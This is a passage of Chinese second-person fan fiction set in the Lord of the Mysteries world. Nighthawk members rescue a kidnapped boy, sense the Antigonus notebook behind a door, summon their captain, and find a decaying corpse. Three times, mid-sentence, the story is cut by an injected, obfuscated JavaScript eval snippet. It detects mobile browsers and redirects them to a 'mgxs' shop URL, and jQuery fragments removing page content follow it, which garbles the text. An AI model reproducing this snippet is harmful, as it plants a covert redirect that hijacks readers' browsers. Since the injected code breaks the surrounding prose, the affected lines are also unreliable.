你在心里比较着自己的“直觉导航”和克莱恩此刻展示的技巧。两者都依赖灵性与目标之间的微弱联系,但占卜家显然有一套更系统、更稳定(尽管也受干扰)的方法来利用这种联系,而你的“怪物”直觉则更飘忽、更依赖瞬间的灵光,但有时可能触及更本质的“趋势”。 途中,克莱恩又数次停下马车,重复卜杖占卜,校正方向。他的表情始终沉稳,动作一丝不苟,让你对“占卜家”途径的实用性有了更直观的认识。 终于,在绕过一栋看起来平平无奇、只有三层的砖石建筑整整一圈后,克莱恩示意车夫停下。他手中的黑木手杖杖头笔直地、毫无偏移地指向了建筑内部。 “就在这里。” 他肯定地说,声音不大,却带着一种占卜得到确认后的笃定。 从告别刻利管家到现在,仅仅过去了大约三十分钟。效率惊人。 “干得漂亮,占卜家。” 伦纳德赞了一句,并额外多给了马车夫一苏勒作为“封口费”和“辛苦费”,叮嘱他忘记今天下午的路线。马车夫捏着厚厚的钞票,满心欢喜地驾车离开,很快消失在街角。 打发走满腹疑窦的车夫后,你们三人站在了那栋建筑的门前。细雨打湿了你们的肩头,空气中弥漫着阴冷潮湿的气息。建筑很旧,墙面有些斑驳,每层楼只有两个入口,看起来像是被分隔成了几间独立的公寓或者办公室。 “保持警惕。” 伦纳德低声说道,手已按在了腰间的枪套上。你和克莱恩也点了点头,各自握紧了武器。 你们轻轻推开并未上锁的楼门,闪身进入。门厅狭窄而昏暗,楼梯间的窗户蒙着厚厚的灰尘,光线很差。你悄然开启了灵视,灰白色的世界瞬间覆盖了视野,灵性视觉中,各种黯淡的气场色彩如同水底的倒影般浮现。 克莱恩在一楼楼梯口再次使用了卜杖法,黑木杖头微微颤动,但直立着指向依然向上。你们悄无声息地踏上吱呀作响的木制楼梯,来到二楼。克莱恩如法炮制,结果依旧——指向楼上。 目标在三楼。 你们放轻脚步,几乎像猫一样悄无声息地踏上通往三楼的最后一段楼梯。在灵视的视野中,三楼右侧那扇紧闭的房门后,清晰地浮现出四个活人的气场光晕。其中三个气场颜色浑浊、波动剧烈,带着焦虑、紧张甚至一丝暴戾的暗红色调,显然是处于亢奋或不稳状态。而第四个气场显得微弱许多,颜色是代表恐惧、无助和虚弱的灰蓝色,蜷缩在房间的一角。 “四个人,右边房间。” 你压低了声音,几乎是用气声对伦纳德和克莱恩说道,同时指了指那扇门,“其中三个状态很激动,另一个被三个人围着,缩在角落。” 这与你预想中小艾略特可能的状态相符。 伦纳德和克莱恩对视一眼,都看到了彼此眼中的肯定。目标确认,绑匪和人质都在里面。 伦纳德站在紧闭的房门前,没有选择粗暴的破门,而是微微闭上双眼,调整了一下呼吸。当他再次睁开时,那双总是带着点慵懒笑意的绿色眼眸里,沉淀下一种宁静而深沉的忧伤。他缓缓开口,声音不再是他平时的语调,而是带着一种奇特的韵律和穿透力,仿佛能直接渗入灵魂的缝隙: “啊,恐惧的威胁,绯红的希冀!” 他的声音低沉而富有磁性,在昏暗的楼梯间回响。 “起码一事是真:此生飞逝。” “一事是真啊,其余皆谎,” “花开一度后将与世长辞……” 诗句如同带有魔力的羽毛,轻柔地拂过空气。站在他侧后方的你和克莱恩,虽然并非主要目标,却也感到一股强烈的、安抚心灵的困意如潮水般涌来。眼皮不由自主地发沉,精神变得松弛,仿佛回到了最安全舒适的床榻边。 你下意识地敲了敲自己的脑袋,心里闪过一个明悟般的念头:“原来如此……难怪正式加入值夜者之前,即使是压力那么大的时候,也总觉得睡得特别沉……该不会也是哪位路过的‘午夜诗人’前辈无意中‘哼’了两句吧?” 幸好,伦纳德的吟唱非常短暂,针对性强。他很快停止了这蕴含着宁静力量的“安眠曲”,侧过头,对你们露出一抹标志性的、带着点恶作剧成功的笑容:“怎么样?效果不错吧?对了,你们以后谁申请一把七弦琴?真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193704|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吟唱怎么能没有伴奏?” 他耸耸肩,“开个玩笑。里面的朋友们,现在应该都睡得正香。” 话音未落,他脸上的轻松瞬间被锐利取代。他后退半步,腰身微沉,右手紧握成拳,没有使用蛮力冲撞,而是以一种极具技巧性和控制力的方式,猛地一拳击打在门锁周围的木制门框上! “咔嚓!” 一声轻微而干脆的碎裂声响起。门锁周围的木板应声破裂、向内凹陷,但整扇门并未发出巨响,锁舌也从变形的锁扣中滑脱。伦纳德对力量的掌控精妙到令人惊叹。 他轻轻推开门。屋内景象正如你们所见:三个男人以各种别扭的姿势瘫倒在房间各处,鼾声轻微,显然已陷入深沉的睡眠。而在房间角落,一个穿着考究、脸色苍白的小男孩也蜷缩着,陷入了无害的沉睡,只是眉头还微微蹙着,似乎梦里也不安稳。 伦纳德如猎豹般闪入屋内,动作快得几乎带出残影。他精准地在那三个沉睡的绑匪颈侧或后脑补上恰到好处的一击,确保他们能睡得更“安稳”一些,短时间内绝无醒来的可能。整个过程安静、迅速。 你跟随进入,警惕地扫视房间,同时灵性保持外放。就在这时,你心头莫名一跳,一股微弱的、并非来自屋内的“灵性触动”让你下意识地转头,看向楼梯下方。 你立刻示意伦纳德和克莱恩,同时无声地移动到门边,小心翼翼地从门缝向下望去。 几乎同时,楼下传来了轻微的、小心翼翼的脚步声,正往上走。你迅速移动到门口,从门缝向下瞥去——只见一个穿着普通工人外套、怀里抱着一个用报纸包裹的长条状物品的男人,正鬼鬼祟祟、一步三回头地走上楼梯。 “楼下还有一个,抱着东西上来了。” 你压到最低的声音迅速报出情况。 就在你话音落下的瞬间,在你侧后方,一直处于警戒状态的克莱恩动了。他没有丝毫犹豫,拔枪、瞄准、扣动扳机,动作一气呵成。 “砰!” 一声经过墙壁阻隔后略显沉闷的枪响在楼道里炸开。 “啊——!” 楼下传来一声惨叫,接着是重物滚落楼梯的闷响和面包掉在地上的声音。 你和伦纳德迅速下楼查看。只见那个男人捂着鲜血淋漓的右肩,倒在三楼到二楼的楼梯拐角,痛苦地蜷缩着,怀里的面包滚落在一边。克莱恩那一枪,精准地命中了他的肩膀非致命处,既解除了他的战斗力,又不会立刻要了他的命。 “干得漂亮。” 伦纳德赞了一句。没等对方有进一步动作,伦纳德已经如同一阵风般冲了下去,一拳将其击晕,同样捆了个结实,并撕下他的衣服布料简单包扎止血,防止他失血过多而死。 “搞定。” 伦纳德拍了拍手,轻松得像是刚去楼下取了份报纸。 41. 第41章 高灵感发力了! 房间内,小艾略特被之前的枪声和之后的动静吵醒,迷迷糊糊地睁开眼。当他看到眼前陌生的环境、被捆成一团昏迷不醒的绑匪,以及正在给他解绳子的伦纳德、还有站在一旁的你和克莱恩时,小脸一下子变得煞白,随即又涌上难以置信的惊喜。 “你、你们是……?” 他结结巴巴地问,声音里带着颤抖和后怕,但眼神深处已有获救的希冀。 伦纳德半蹲在他面前,手上解绳结的动作没停,头也没抬,用那种理所当然又带着点随意的口吻随口回答道:“对,你猜得很对,非常准确。我们是来带你回家的,艾略特小先生。” 接着,伦纳德一边继续手上的工作,一边用闲聊般的语气,几句话就解释了现状,称赞小艾略特“很勇敢”、“没有乱哭乱叫给自己添麻烦”,还随口开了个小玩笑,说明天可以跟同学吹嘘自己经历了“真正的冒险”。 他语气轻松,姿态放松,完全没有面对受害者的紧张或同情。这种态度奇迹般地迅速安抚了小艾略特,让他脸上的恐惧褪去,渐渐放下戒心,甚至对伦纳德露出了一个怯怯的、信赖的笑容。 你在旁边看着,心里不禁有些侧目。这家伙,平时在队里总是一副玩世不恭、懒得应付麻烦的样子,没想到对付受惊的普通民众,特别是小孩子,居然这么有一套,分寸拿捏得恰到好处。 很快,艾略特手上的绳索被解开。伦纳德检查了一下他除了手腕有些红痕外并无其他明显外伤,便站起身,拍了拍手上的灰。 “好了,小冒险家,救援第一阶段完成。现在进入第二阶段——送你安全回家。” 伦纳德说着,看向你和克莱恩,“温蒂,克莱恩,你们俩下去,在附近找找巡逻的警察,让他们立刻通知维克罗尔先生,他的人在这里。我可不想像绑匪一样,自己带着个小孩子和这四个家伙出门,那看起来可不太对劲。” 你和克莱恩自然没有异议,点点头,转身离开房间,沿着楼梯向下走去。 老旧的木质楼梯在脚下发出轻微的声响。一阶,两阶……就在你们走到二楼转角时,一直沉默的克莱恩忽然停下脚步,眉头微蹙,褐色的眼睛里闪过一丝罕见的迷茫和不确定。 “怎么了?” 你注意到他的异常。 “没什么……” 克莱恩摇了摇头,但眉头并未舒展,他低声说,语气带着困惑,“只是……我隐约觉得自己好像遗忘了什么很重要的事情。一种很模糊的感觉,就在刚才,或者更早一点的时候……” 听到他的话,你心中一动。作为“怪物”途径的非凡者,虽然你对自身“高灵感”带来的种种预兆和感觉的解读,还处于“一半靠猜,一半靠蒙”的水平,但比起“占卜家”这种主要依靠系统性手段、对自身灵性预警尚不熟悉的克莱恩,你至少算是个“有经验”了。 你仔细回想了一下自己那些“突如其来”又被“莫名遗忘”的直觉经历(尤其是针对伦纳德的那次),组织了一下语言,尝试解释道: “感觉到有什么被遗忘了……这或许本身就是一种灵性预警。” 你放慢脚步,看着克莱恩,尽量清晰地说,“你的灵感可能感应到了某个线索、某个迹象,或者某种潜在的联系。但因为这里面可能蕴含着你目前无法处理的风险,或者指向过于危险的真相,所以你的灵性在发出预警的同时,又下意识地想让你‘遗忘’这件事,作为一种保护机制。一般来说,如果那件事本身没有太大风险,或者时机合适了,你可能会再次‘偶然’想起来。” 你顿了顿,补充了最关键的一点:“不过,既然你现在没有完全忘干净,还能‘感觉’到自己遗忘了什么,这说明你感应到的那件事,和你的关联可能比想象中更深,或者……其重要性已经强烈到无法被灵性保护机制完全掩盖了。” 就在你说完这番话的瞬间,你自己的灵性也仿佛被触动,一个之前被忽略的细节,或者说一种萦绕不去的、与“危险”和“隐秘”相关的直觉,猛地清晰起来!几乎在同一时刻,你也从克莱恩骤然睁大的眼睛和变得凝重的表情中,看到了相同的明悟! 你们两人几乎异口同声,压低声音吐出了那个词: “安提哥努斯笔记!” 你和克莱恩对视一眼,都从对方眼中看到了凝重与一丝隐约的兴奋。安提哥努斯笔记——这件导致韦尔奇死亡、娜娅重伤、并将你们卷入非凡世界的“元凶”,竟然可能就在附近? “所以,笔记在附近,而且拿了可能有危险?” 你低声总结。 克莱恩没有丝毫犹豫,立刻从怀中取出那枚用于占卜的黄水晶灵摆。他捏住银链,让水晶自然垂落,闭上眼睛,用平稳而清晰的语调开始重复占卜语句:“安提哥努斯笔记在附近……安提哥努斯笔记在附近……安提哥努斯笔记在附近……” 他重复了三遍,全神贯注地感应着灵摆可能出现的运动。然而,几秒钟过去了,黄水晶只是轻微地、无规律地晃动着,并没有出现明确的顺时针或逆时针旋转。 克莱恩睁开眼,眉头皱得更紧:“占卜失败了……可能是干扰太强,或者问题本身不够明确‘附近’的范围太模糊,又或者……” 他看了一眼楼上,“有别的因素干扰了灵性联系。” 看来直接定位笔记行不通。你想了想,换了个思路:“克莱恩,帮我占卜一下:‘温蒂现在开启灵视没有危险’。” 克莱恩愣了一下,立刻调整了占卜语句:“温蒂现在开启灵视没有危险……温蒂现在开启灵视没有危险……温蒂现在开启灵视没有危险……” 这一次,话音刚落几秒,那枚黄水晶灵摆开始清晰而稳定地做起了顺时针旋转! “顺时针,代表肯定。你现在开启灵视,没有危险。” 克莱恩确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193705|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认道。 你笑了笑,心里也松了口气:“看来我的‘预感’这次和你的占卜结果一致,没有发出警示。” 这至少说明,在不直接触及笔记本身的前提下,进行一些探查是相对安全的。 你立刻转身,快步返回三楼房间。伦纳德正靠在窗边,注意着外面的动静,小艾略特乖乖坐在椅子上。你对伦纳德快速打了个手势,示意“有点发现,需要探查”,他挑了挑眉,没说话,只是微微点头,表示知情并保持警戒。 你深吸一口气,用手指快速刮过右眼眶,开启了灵视。然后,你刻意让目光失焦,进入那种能够“翻阅”近期记忆碎片的“虚视”状态。 你首先扫过整个房间,重点观察那些绑匪和小艾略特。在“虚视”中,你能看到他们之前几个小时活动的模糊重影——绑匪们的争吵、看守、进食,小艾略特的恐惧哭泣和昏睡……但这些影像里,没有任何与古老笔记、书籍或异常物品相关的痕迹。房间里也没有其他隐藏的隔间或活物。 你关闭灵视,揉了揉有些发胀的太阳穴,走回二楼楼梯口,对等在那里的克莱恩说出了自己的发现:“我用灵视扫了一遍,没发现这栋楼还有其他活物,我的灵感也没有什么反应。” 你思索着,目光落在克莱恩身上,一个想法逐渐成型:“克莱恩,你的灵感是不是也很高?” 克莱恩点了点头,承认道:“是的,成为‘占卜家’后,灵感确实提升了很多。尤其是在涉及占卜目标或与自身关联很深的事情上,有时会有模糊的预感。你问这个是想……?” “我在想,” 你组织着语言,眼睛发亮,“明显你和那本安提哥努斯笔记的关联要更深——你直接接触过它。所以你有强烈的灵性触动,而我只有一点模糊的、基于你状态的推测。既然我的‘怪物’方法暂时没发现,而你的占卜又无法直接定位……那我们能不能换个思路?” 你看着克莱恩,提出了一个大胆的方案:“让你来试试‘怪物’的方法——不是占卜,而是暂时放空对理性和‘占卜家’技巧的依赖,纯粹去信任并捕捉你那关于‘遗忘’和‘笔记’的、最原始最强烈的灵性直觉。看看它会不会给你某种启示,哪怕只是一个方向、一个意象,或者……一种‘感觉’。” 克莱恩听完,沉默了几秒钟,褐色的眼睛里闪过思索、权衡,以及一丝对未知尝试的谨慎。他没有立刻答应,而是再次拿出了那枚黄水晶灵摆。 他捏住银链,看着你,语气平静地开始了新一轮占卜:“我按照温蒂说的做会没事……我按照温蒂说的做会没事……我按照温蒂说的做会没事……” 重要的安全确认重复了三遍。几秒后,黄水晶再次做出了稳定的顺时针旋转。 克莱恩收起灵摆,对你点了点头,神情变得专注而沉稳:“占卜结果是肯定的。那么,我该怎么做?” 42. 第42章 安提哥努斯笔记 你站在略显昏暗的二楼楼梯口,看着面前神情专注、准备尝试未知领域的克莱恩,努力扮演着一个“经验传授者”的角色,尽管你的经验也多来自自身的摸索和几次侥幸成功的尝试。 “好了,克莱恩,我们开始。” 你压低声音,尽量让语气显得平稳可靠,“首先,深呼吸,对,慢慢地,吸——呼——试着让身体的紧绷感放松下来,但精神要保持清醒的专注。” 克莱恩依言照做,胸口的起伏逐渐变得平缓悠长。 “现在,打开你的灵视。” 你提示道,同时自己也悄然开启了灵视,一方面是以身作则,另一方面也是随时准备应对可能出现的异常。 克莱恩的手指在眼前快速做了个手势(你注意到那是敲眉心的动作)。他褐色的眼眸似乎颜色变深了些。 “能看到我的气场颜色吗?正常的,健康的白色,加上一点思考时的蓝色?” 你问道,既是确认他的灵视是否成功开启,也是给他一个明确的观察锚点。 克莱恩的目光在你身上停留了两秒,点了点头:“嗯,可以看到。很清晰。” “很好,” 你继续引导,这感觉有点像老尼尔当初教你,但角色互换,“现在,把你的右手抬起来,伸到你面前,竖起一根食指。对,就是这样,伸直。” 克莱恩有些疑惑,但还是照做了,将右手食指笔直地竖在双眼正前方。 “现在,什么都不要想,就把你的全部注意力,都集中在这根手指的指尖上。看它的轮廓,看指甲的弧度,看皮肤纹路……直到你看得清清楚楚。” 你慢慢说着,观察着他的反应。 克莱恩的视线聚焦在自己的指尖,眼神变得异常集中。由于手指离眼睛太近,他不得不微微调整眼球的焦距,这让他看起来有点像是努力对焦的“斗鸡眼”。 你差点没忍住笑出声,连忙咬住下唇内侧,强行把那股笑意憋了回去,表情管理面临严峻考验。现在可不是笑场的时候! “好……保持住,现在,慢慢放松你的眼睛,” 你控制着声音不要发抖,“对,放松……让你的视线变得模糊,让指尖的影像在你面前扩散、重叠、变得朦胧……就像你快要睡着了,但还保持着最后一丝清醒看东西的感觉……” 你看到克莱恩的眼神真的开始涣散,焦距不再锁定于指尖,而是仿佛穿透了它,望向更后方的虚空。他的食指依旧竖着,但整个人进入了一种奇特的、神游天外的状态。 “现在,手指可以慢慢放下来了,” 你轻声说,“但尽量保持住这种视线模糊、精神放空的状态。不要主动去‘看’任何东西,而是让外界的影像、声音、气味,还有你心里那股最深处的不安和直觉,自然地流入你的感知……” 克莱恩缓缓放下了手,但他的目光依旧没有焦点,空洞地望向前方——那方向正是三楼楼梯平台,以及平台对面,绑架艾略特房间正对面的那个房间。 时间一秒一秒过去,楼道里一片死寂,只有楼上隐约传来伦纳德低声安抚艾略特的声音,以及窗外远处街道模糊的市声。 突然,克莱恩的身体猛地一颤!他脸上那种茫然放空的表情瞬间被一种混合了惊骇、难以置信和本能恐惧的神色取代!他的瞳孔急剧收缩,脸色“唰”地一下变得惨白,像是看到了世界上最恐怖的东西。 他呆愣地、死死地“望”着前方虚空几秒钟,然后,仿佛被一股无形的力量牵引,他的头颅极其僵硬、极其缓慢地,转向了他的斜前方——也就是三楼那个一直紧闭的、与绑架房间正对的房门方向! 他的目光仿佛要穿透那扇斑驳的木门,看向其后深不见底的黑暗。他的呼吸变得急促,额角瞬间渗出了细密的冷汗,手指无意识地蜷缩起来,身体甚至出现了轻微的颤抖。那副模样,就像是普通人骤然看到了铺天盖地的洪水猛兽,或者更确切地说,是感知到了某种无法理解、无法对抗的、充满恶意的庞大存在! 你心中一凛,立刻顺着他的“视线”看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193706|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向那扇门,同时将灵视提升到极限,但除了房门本身和其后空无一物的、略带陈腐的气场,你什么特别的“存在”也没看到。但克莱恩的反应绝非作假。 过了好一会儿,克莱恩才像是用尽了全身力气,极其艰难地将目光从那个方向扯了回来。他大口喘着气,抬手抹了一把额头的冷汗,看向你,声音还带着一丝不易察觉的颤抖: “有、有用。确实……感觉到了。” 他顿了顿,似乎在平复翻腾的心绪,然后看向你的眼神变得无比复杂。他声音干涩地问:“温蒂,你平时……就是一直忍受着这种,嗯,仿佛有很多双眼睛在背后死死盯着你、而且一直有无数细碎、混乱、充满恶意的声音在你耳边低语的状态吗?刚才,我好像一直听到有个声音在重复……一直在说‘霍纳奇斯……’” 你听到“霍纳奇斯”这个词时,心头也是一跳。但你更在意的是克莱恩前半段的描述。原来,他通过这种模拟“怪物”直觉的状态,感知到的是这种被窥视、被低语环绕的恐怖景象?这倒是和你服食魔药时那种抽离的、观察“命运线条”的视角不同,更偏向于“怪物”途径负面描述的体验——高灵感带来的过度感知与精神污染。 你扯了扯嘴角,想给他一个安慰的笑,但可能不太成功。你回想起自己那些诡异的梦境、不受控制的灵视、以及对他人过去片段的窥探带来的信息冲击…… “习惯就好了。” 你最终只是轻描淡写地说了这四个字。你指了指那扇让克莱恩惊恐万分的房门,将话题拉回正事:“所以,你的直觉告诉你,问题在那里?那个房间里,有什么?” 克莱恩深吸一口气,强迫自己冷静下来,他再次看向那扇门,眼神凝重无比:“里面是安提哥努斯笔记,但我们绝对不能直接接触,那种被无数恶意视线注视、被亵渎低语环绕的感觉,源头就在那扇门后面。非常……强烈,非常不祥。而且,‘霍纳奇斯’……” 他重复了一遍这个地名,似乎在记忆里搜索相关信息。 43. 第43章 队长发力了! 情况紧急,你与克莱恩迅速交换了一个眼神,立刻转身冲上三楼。伦纳德正半蹲着,试图用更温和的方式向小艾略特解释为什么警察还没来,看到你们去而复返、脸色凝重,他立刻站起身,收敛了脸上安抚性的笑容。 “有发现?” 伦纳德漂亮的绿眼睛锐利地扫过你们。 “有,而且可能很麻烦。” 你言简意赅,指了指对面紧闭的房门,“克莱恩用我……额,引导的方法感应了一下,对面房间给他的感觉极度不祥,像是被无数恶意视线注视,还有持续不断的亵渎低语,提到了‘霍纳奇斯’。我们怀疑是安提哥努斯笔记,或者与之高度相关、污染性极强的东西,就在里面。” 伦纳德的神情瞬间变得严肃无比,他走到门口,侧耳倾听片刻,又仔细看了看门缝和锁孔,没有贸然开门或使用能力探查。“霍纳奇斯……”他侧头低声重复,眉头紧锁,“如果是……确实不能轻举妄动。” 他回头看了你们一眼,尤其是你,嘴角忽然又勾起一个带着点无奈和“早有预料”意味的弧度: “看来我们这次不光救了人,还可能撞上了一条‘大鱼’。不过,不去碰它是绝对正确的选择。那笔记,或者里面可能存在的其他东西,污染性恐怕超乎想象,不是我们三个低序列能处理的。” 他顿了顿,目光在你脸上多停留了一秒,语气带上了一丝调侃般的警告,“但是,亲爱的佩洛蒙西娅小姐,做好心理准备写检查报告和保证书吧。等队长知道了你居然教克莱恩那种毫无保护措施、纯靠放大灵性直觉去‘硬莽’的野路子感应法……一顿严肃的批评教育是跑不了的。而且,” 他耸耸肩,“为了你的安全,队长大概率会命令你,以后不准再用类似的方法,至少在没有高级别成员监督和防护的情况下,绝对禁止。” 你心里早有准备,点了点头。确实,刚才那种“教学”风险极高,万一克莱恩感应到的东西污染性再强一点,或者他的灵性失控,后果不堪设想。队长的批评你认。 “现在怎么办?” 克莱恩问道,他已经从刚才的惊骇中恢复了大半,但脸色依旧不太好看。 “你们两个留在这里,” 伦纳德迅速做出决断,“守住这层楼,不要靠近那个房间,也不要让任何人进出。我去找队长,带增援和专业处理人员过来。” “不,” 你立刻摇头,主动请缨,“我去。伦纳德你留在这里,你和克莱恩配合,战斗力更强,万一里面有什么东西异动或者有其他人靠近,你们能更好地应对。” 伦纳德略一思索,认可了你的提议:“也好。注意安全,直接去找队长或者回公司,别耽搁。如果遇到警察,就让他们来接手绑匪和孩子,但绝对不要提对面房间的事。” “明白!” 你转身飞奔下楼,冲出建筑。雨已经基本停了,街道上行人渐多。你迅速拦下一辆路过的出租马车,对车夫急促地说:“佐特兰街36号,黑荆棘安保公司,用最快的速度!按加急算,车费另加!” 为了争取时间,你不惜承诺额外费用。 车夫看你神色焦急,又听到“加急”,立刻挥动马鞭。马车在略微湿滑的石板路上疾驰,花费了整整一苏勒,这在平时足够让你心疼半天,但此刻你只觉得这钱花得值。 幸运的是,当你气喘吁吁地冲进黑荆棘安保公司大门时,不仅看到邓恩·史密斯队长正从办公室走出来,似乎准备去做什么,还看到西迦·特昂女士也刚刚结束拉斐尔墓园的巡视,正摘下帽子,在接待台边和罗珊说着话。 “队长!西迦女士!” 你顾不上平复呼吸,立刻高声报告,“紧急情况!在委托绑架案现场,我们发现疑似安提哥努斯笔记或高度相关物品的踪迹!污染性极强,伦纳德和克莱恩正在现场看守,禁止靠近,请求立刻支援!” 邓恩队长的表情并未有明显变化,微微颔首。他没有浪费时间询问细节,立刻下达指令:“西迦,你立刻去地下,接替老尼尔看守查尼斯门,确保封印物安全。” “是,队长。” 西迦·特昂没有任何犹豫,立刻转身走向通往下层的楼梯。 “对了,麻烦通知尼尔先生做好准备。” 邓恩队长又高声说道。接着,队长又吩咐罗珊报警,让警察接手在场的普通人。 没过多久,老尼尔穿着他那身古典黑袍从隔断后走了出来,脸上带着询问。 “这次外勤,可能涉及高污染性神秘学物品,需要你的专业知识。带上必要的防护和封印工具,立刻出发。” 邓恩队长语速快而清晰。 “明白了。” 老尼尔的神色也严肃起来,点点头,转身回炼金室做快速准备。 你对这个安排没有丝毫异议。现场已经有一位“午夜诗人”(伦纳德)负责警戒和可能的精神干扰对抗,再增加一位“黑夜”途径的“午夜诗人”(西迦)意义不大。而老尼尔作为“窥秘人”途径的非凡者,在辨识、处理、隔离危险的神秘学知识和物品方面,显然是更合适的人选。 很快,老尼尔提着一个看起来不大但显然装了不少东西的厚皮箱走了出来。邓恩队长看向你:“带路,路上简要说明情况。” “是,队长!” 你们三人迅速离开公司,西泽尔在前架马车,在你急促的指引下,向着那栋藏有秘密与危险的三层建筑疾驰而去。 …… 马车在湿漉漉的街道上疾驰,车厢内气氛凝重。你坐在邓恩·史密斯队长对面,旁边是提着皮箱、神情严肃的老尼尔。你深吸一口气,开始汇报,语速尽可能快而清晰。 你从接到维克罗尔管家刻利的委托开始讲起,简述了伦纳德接下任务、克莱恩用卜杖法寻人、顺利解救小艾略特并制服绑匪的过程。说到这部分时,邓恩队长灰眸沉静,只是微微颔首,表示肯定。 然而,当你提到克莱恩感到“遗忘”,你们共同联想到安提哥努斯笔记,以及之后你尝试引导克莱恩用某种“灵感放大”的方法去感应时—— 邓恩队长的眉头立刻皱了起来,那双总是带着沉稳和些许疲惫的灰色眼睛锐利地看向你,虽然没有说话,但那股不赞同的压力已经弥漫开来。 你心里一虚,目光下意识地飘向车厢角落,不敢与他对视,但嘴里 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还好,这份令人难熬的沉默和压力没有持续太久。西泽尔一声吆喝,车辆稳稳停下。 “队长,地方到了。” 西泽尔的声音传来。 你们立刻看向窗外,那栋熟悉的、略显陈旧的三层建筑就在眼前。雨后的天空依旧阴沉,让这栋房子看起来更加压抑。 邓恩队长睁开眼,眸中已恢复了一片沉静与果决,仿佛刚才的情绪波动从未发生。他率先推开车门下去,同时对西泽尔吩咐道:“在这里等着,稍微离远一点,自己小心。” “是,队长。” 西泽尔应道。 “走。” 邓恩队长言简意赅,迈步向建筑走去。他走在最前面,你和老尼尔紧随其后。 老尼尔一手提着皮箱,另一只手已经下意识地在虚空中勾勒着某个防护性的符号,口中念念有词,似乎在提前准备着什么。 你们一行三人迅速进入楼道,沿着楼梯向上。脚步声在寂静中显得格外清晰。很快,你们来到了三楼。 伦纳德正靠在绑架房间的门框上,看似随意,但眼睛始终警惕地扫视着走廊,尤其是对面那扇紧闭的房门。克莱恩则站在稍远一点、靠近楼梯的位置,同样全神戒备。看到你们出现,尤其是看到邓恩队长和老尼尔,两人明显松了口气。 “队长,尼尔先生。” 伦纳德直起身,简短地汇报道,“目标房间(他指了指对面)一直没有动静,但克莱恩说那种让人不适的感觉始终存在。我们也没有让任何人靠近。” 邓恩队长点点头,目光首先落在那扇紧闭的房门上。他没有立刻靠近,而是先问道:“里面的孩子和绑匪呢?” “刚刚巡警已经来把人带走了,维克罗尔先生也赶到了,场面有点混乱,但总算顺利交接。我强调了这层楼可能有危险残留,让他们从另一侧的楼梯下去的,没经过这里。” 伦纳德回答。 “处理得不错。” 邓恩队长肯定了伦纳德的安排,这才将全部注意力投向那扇仿佛蕴含着不祥的门。他灰色的眸子微微眯起,似乎在用某种超越视觉的方式感知着。 44. 第 44 章 战斗前奏 邓恩队长、老尼尔、伦纳德、克莱恩和你,你们五人聚集在三楼那扇散发着不祥气息的房门外。老尼尔也自行开启了灵视,目光在门板和周围的空气中来回扫视。 老尼尔放下皮箱,眉头紧锁,语气带着专业性的确定:“里面没有活人的生命气息,也没有明显的、正在激发的魔法灵光或仪式残留。至少现在,里面是‘静止’的。” 你也点了点头,补充道:“我的灵感,或者说感觉,也告诉我,近两天内,这个房间里应该没有人类活动留下的新鲜‘痕迹’。” 你说得比较模糊。 既然初步探查没有发现即时的、活性的威胁,邓恩队长不再犹豫。他朝伦纳德使了个眼色。 伦纳德会意,再次上前。这一次,他的动作更快,力道更集中。依旧是看似随意的一拳,却精准地轰在门锁附近。 咔嚓!砰! 比之前更响亮的碎裂声响起,不仅门锁周围的木板应声破碎,就连那黄铜门锁本身也“啪”地一声从内部崩开,旋转着弹飞出去,哐当一声砸在走廊的地板上,滚动了几圈才停下。 几乎在门锁脱落的瞬间,一股难以形容的、浓烈到令人作呕的恶臭如同实质的潮水般从门缝里汹涌而出!那是肉类高度腐败、混合着粪便、以及某种难以言喻的甜腻与酸败的复杂气味,瞬间充斥了整个楼道。 “呜……” 站在稍后方的克莱恩脸色瞬间发白,喉头剧烈地滚动了一下,猛地捂住了嘴。 老尼尔也立刻屏住呼吸,脸色难看地低声骂了一句:“该死的!这味道……绝对是高度腐烂的尸体!在这种闷热天气里,回头我一定要申请额外的污染处理补贴和嗅觉损伤津贴!” 邓恩队长神色不变,只是从怀中取出一副纯黑色的手套,不紧不慢地戴上。他上前一步,伸出戴着黑手套的右手,抵在破损的门板上,缓慢而稳定地将房门向内推开。 门轴发出不堪重负的呻吟。屋内的景象随着门缝的扩大,逐渐展现在众人面前。 首先映入眼帘的,是一个老式的壁炉。在这七月初的、刚下过雨的湿闷天气里,壁炉里虽然没有明火,却隐隐散发出一种不正常的闷热,加剧了屋内腐臭气味的发酵和扩散。 壁炉正前方不远处,摆着一张略显陈旧的摇椅。摇椅上,坐着一位穿着黑白相间衣裙的老妇人。她低垂着头,花白的头发有些凌乱,双手交叠放在膝上,姿势看起来甚至有些安详。 